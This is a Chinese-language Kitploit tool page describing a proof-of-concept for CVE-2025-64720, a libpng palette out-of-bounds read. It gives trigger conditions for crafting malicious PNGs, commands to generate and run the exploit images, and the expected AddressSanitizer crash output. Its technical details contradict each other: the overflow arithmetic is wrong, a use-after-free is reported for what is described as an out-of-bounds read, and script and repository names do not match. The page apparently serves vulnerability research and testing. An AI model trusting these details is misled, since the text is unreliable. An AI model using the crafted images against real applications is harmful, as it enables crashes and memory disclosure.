Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-64720-PoC — 针对CVE-2025-64720的概念验证漏洞利用代码,一个libpng中调色板预乘的缓冲区溢出。包含漏洞利用生成器、带ASan/UBSan的测试框架,以及关于堆释放后使用漏洞的详细技术分析。 | Kitploit
工具/GitHubGitHub/dantsco/cve-2025-64720-poc
内存取证漏洞分析漏洞利用模糊测试二进制分析论文与研究学习与教育
GitHubdantsco/cve-2025-64720-poc

CVE-2025-64720-PoC

针对CVE-2025-64720的概念验证漏洞利用代码,一个libpng中调色板预乘的缓冲区溢出。包含漏洞利用生成器、带ASan/UBSan的测试框架,以及关于堆释放后使用漏洞的详细技术分析。

查看仓库
2129个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-64720:libpng 调色板预乘中的缓冲区溢出

状态:已修复
严重性:高
CVE 标识符:CVE-2025-64720
发现日期:2025-11-XX
公开披露日期:2025-11-21

概述

摘要

在 libpng 的 png_image_read_composite 函数中,当处理启用了 PNG_FLAG_OPTIMIZE_ALPHA 的调色板图像时,存在一个越界读取漏洞。png_init_read_transformations 中的调色板合成代码在预乘过程中错误地应用了背景合成,违反了简化 PNG API 所要求的不变性 component ≤ alpha × 257,导致内存损坏。


漏洞详情

根本原因

在 png_init_read_transformations 的第约 1336 行处,调色板扩展代码执行:

component += (255-alpha)*png_sRGB_table[outrow[c]];

该计算产生的 component 值高达 16,776,960(0x1000800),其中 (component >> 15) == 512。随后 png_image_read_composite 中的 PNG_sRGB_FROM_LINEAR 宏执行了越界数组访问:

png_sRGB_base[component>>15]    // 访问 png_sRGB_base[512]
png_sRGB_delta[component>>15]   // 访问 png_sRGB_delta[512]
// 两个数组的索引仅为 0-511(大小 512)

问题发生在以下条件同时满足时:

  1. PNG 使用调色板模式(颜色类型 3)并带有透明度(tRNS 数据块)
  2. 应用程序使用带有 alpha 功能的简化 API
  3. PNG_FLAG_OPTIMIZE_ALPHA 被内部启用
  4. 调色板扩展执行带有背景合成的预乘

受影响组件

  • 文件:pngread.c,pngtrans.c
  • 函数:png_image_read_composite,png_init_read_transformations
  • 代码路径:简化 API → 调色板扩展与 alpha 优化

不变性违反

预期:component ≤ alpha × 257
         确保 (component >> 15) ≤ 511(在数组边界内)

实际:component = 前一个值 + (255-alpha) × png_sRGB_table[RGB_value]
         当 alpha=0,RGB=255 时:component 可能超出预期边界
         
结果:(component >> 15) 可能等于 512(越界访问)

受影响版本

易受攻击版本

  • 软件:libpng
  • 版本:所有版本 < 1.6.51
  • 平台:Linux、Windows、macOS、BSD 等
  • 架构:x86、x64、ARM、ARM64 等

已修复版本

  • 首个修复版本:1.6.51
  • 发布日期:2025-11-21
  • 修复提交:08da33b

版本检测

# 方法 1:pkg-config
pkg-config --modversion libpng

# 方法 2:直接查询库
libpng-config --version

# 方法 3:检查二进制文件
strings /usr/lib/libpng*.so* | grep -i "libpng version"

# 方法 4:从源码中查找
grep PNG_LIBPNG_VER_STRING png.h

技术分析

攻击向量

攻击者可以通过构造带有特定特征的恶意 PNG 文件来利用此漏洞:

  1. 攻击前提条件:

    • 目标应用程序使用 libpng < 1.6.51
    • 应用程序使用简化 PNG API(png_image_* 函数)
    • 应用程序请求支持 alpha 的输出格式(例如 RGBA、ARGB)
  2. 攻击步骤:

    • 创建带 tRNS 数据块的调色板 PNG(颜色类型 3)
    • 将调色板条目设置为最大 RGB 值(255, 255, 255)
    • 将多个调色板条目的 alpha 值设置为零
    • 受害应用程序处理带有 alpha 格式的 PNG
    • PNG_FLAG_OPTIMIZE_ALPHA 被内部启用
    • 调色板扩展违反组件不变性
    • 发生越界数组访问
  3. 攻击结果:

    • 从 png_sRGB_base 或 png_sRGB_delta 越界读取
    • 内存损坏导致堆释放后使用
    • 应用程序崩溃(拒绝服务)
    • 通过越界读取可能造成信息泄露

内存布局

┌─────────────────┐
│ png_sRGB_base   │  数组索引:0-511(512 个条目)
│ [512 entries]   │  有效访问:(component >> 15) ≤ 511
├─────────────────┤
│ [越界访问]      │  索引 512 ← 当 component ≥ 0x1000000 时的易受攻击访问
├─────────────────┤
│ png_sRGB_delta  │  数组索引:0-511(512 个条目)
│ [512 entries]   │  同样易受同种越界访问影响
├─────────────────┤
│ 相邻内存        │  潜在的信息泄露
└─────────────────┘

导致溢出的计算:
component = alpha × component + (255-alpha) × png_sRGB_table[palette_RGB]

当 alpha=0 且 palette_RGB=255 时:
component = 0 + 255 × 65535 = 16,711,425
(component >> 15) = 512(越界!)

触发条件

必要条件:

  • PNG 颜色类型 3(索引/调色板)
  • 存在 tRNS 数据块(透明度)
  • tRNS 数据块中的 alpha 值为 0
  • 调色板中的 RGB 值高(尤其是 255, 255, 255)
  • 使用简化 API(png_image_finish_read)
  • 支持 alpha 的格式(PNG_FORMAT_ARGB、带标志的 PNG_FORMAT_RGBA)

可选因素:

  • 带有 PNG_FORMAT_FLAG_AFIRST 的格式增加崩溃可能性
  • 越大的图像提供更多触发漏洞的机会
  • 多个零 alpha 调色板条目增加可靠性

不触发条件:

  • libpng >= 1.6.51(已修复)
  • 不带额外标志的 PNG_FORMAT_RGBA(有时安全)
  • 非调色板颜色类型(RGB、灰度等)
  • 不带透明度的调色板
  • 所有 alpha 值 = 255(完全不透明)

概念验证

快速开始

# 克隆仓库
git clone https://github.com/truediogo/CVE-2025-64720
cd CVE-2025-64720

# 生成图像
python3 generate-images.py

# 构建测试
chmod +x build.sh
./build.sh

# 运行漏洞利用(需要易受攻击的 libpng < 1.6.51)
./test_asan exploit_v1.png exploit_v2.png exploit_v3.png exploit_v4.png

PoC 组件

1. 漏洞利用生成器 (generate-images.py)

生成触发漏洞的恶意 PNG 文件。

使用方式:

python3 generate_poc.py

输出:

  • exploit_v1.png - 8x8 图像,均匀白色调色板,零 alpha
  • exploit_v2.png - 8x8 图像,战略性调色板变化
  • exploit_v3.png - 64x64 图像,带有重复模式的大图像
  • exploit_v4.png - 4x4 图像,最小情况,全部 alpha 为零

选项:

# 生成特定变体
generate_malicious_png('custom.png', variant=2)

# 变体:
# 1:最大 RGB 值且 alpha 为零(可靠)
# 2:战略性调色板,设计用于最大溢出
# 3:带有重复触发模式的更大图像
# 4:针对全局缓冲区溢出的最小情况

2. 测试 (test.c)

使用简化 API 处理 PNG 文件并演示漏洞。

编译:

# 使用 AddressSanitizer(推荐 - 最佳检测)
gcc -o test_asan test.c -lpng -fsanitize=address -g -O0 -fno-omit-frame-pointer

# 使用 UndefinedBehaviorSanitizer
gcc -o test_ubsan test.c -lpng -fsanitize=undefined -g -O0

# 使用调试符号
gcc -o test_debug test.c -lpng -g -O0

# 用于 Valgrind
gcc -o test_valgrind test.c -lpng -g -O0 -fno-inline

特性:

  • 测试多种支持 alpha 的格式(RGBA、ARGB、LINEAR_RGB_ALPHA)
  • 显示 libpng 版本和漏洞状态
  • 显示第一个像素值用于验证
  • 全面的错误处理

预期输出

在易受攻击版本上(libpng 1.6.36):

libpng version: 1.6.36
PNG_LIBPNG_VER: 10636

[!] libpng < 1.6.51 detected (vulnerable version)

=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8

Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
=================================================================
==12345==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
READ of size 8 at 0x604000000520 thread T0
    #0 0x000102b4da24 in png_safe_execute pngerror.c:944
    #1 0x000102b5d7c8 in png_image_finish_read pngread.c:4184
    #2 0x000102b34ecc in test_png test.c:64
    #3 0x000102b35410 in main test.c:97

0x604000000520 is located 16 bytes inside of 48-byte region [0x604000000510,0x604000000540)
freed by thread T0 here:
    #0 0x000103245480 in free+0x7c
    #1 0x000102b566b4 in png_free_default pngmem.c:252
    [Stack trace continues...]

SUMMARY: AddressSanitizer: heap-use-after-free pngerror.c:944 in png_safe_execute
==12345==ABORTING

在已修复版本上(libpng >= 1.6.51):

libpng version: 1.6.51
PNG_LIBPNG_VER: 10651

[!] Warning: libpng >= 1.6.51 detected (vulnerability is patched)

=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8

Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

=== All tests completed ===

影响

已确认的影响

  • 拒绝服务:处理恶意 PNG 文件时应用程序可靠崩溃
  • 内存损坏:由于越界读取导致堆释放后使用,破坏内部状态
  • 信息泄露:通过越界读取可能泄露相邻内存内容

潜在的影响

  • 远程代码执行:理论上如果内存损坏可被控制则有可能,但尚未演示
  • 浏览器利用:使用易受攻击 libpng 的网页浏览器在访问恶意网站时可能崩溃

逐步复现

步骤 1:生成漏洞利用

python3 generate_poc.py

预期输出:

======================================================================
libpng Out-of-Bounds Read PoC Generator
Vulnerability: palette + transparency + PNG_FLAG_OPTIMIZE_ALPHA
======================================================================
[+] Generated variant 1: exploit_v1.png
    Size: 434 bytes, Dimensions: 8x8
[+] Generated variant 2: exploit_v2.png
    Size: 434 bytes, Dimensions: 8x8
[+] Generated variant 3: exploit_v3.png
    Size: 2258 bytes, Dimensions: 64x64
[+] Generated variant 4: exploit_v4.png
    Size: 356 bytes, Dimensions: 4x4

[+] Enhanced test program: test.c
[+] Build script: build.sh

步骤 2:编译测试

chmod +x build.sh
./build.sh

预期输出:

[*] Building test...
[*] Building with AddressSanitizer...
[*] Building with UBSan...
[*] Building debug version...
[*] Building for Valgrind...

[+] Build complete. Executables:
-rwxr-xr-x  1 user  staff  95KB test_asan
-rwxr-xr-x  1 user  staff  87KB test_ubsan
-rwxr-xr-x  1 user  staff  72KB test_debug
-rwxr-xr-x  1 user  staff  72KB test_valgrind

步骤 3:执行漏洞利用

./test_asan exploit_v1.png

预期结果(易受攻击 - libpng 1.6.36):

libpng version: 1.6.36
PNG_LIBPNG_VER: 10636
下载工具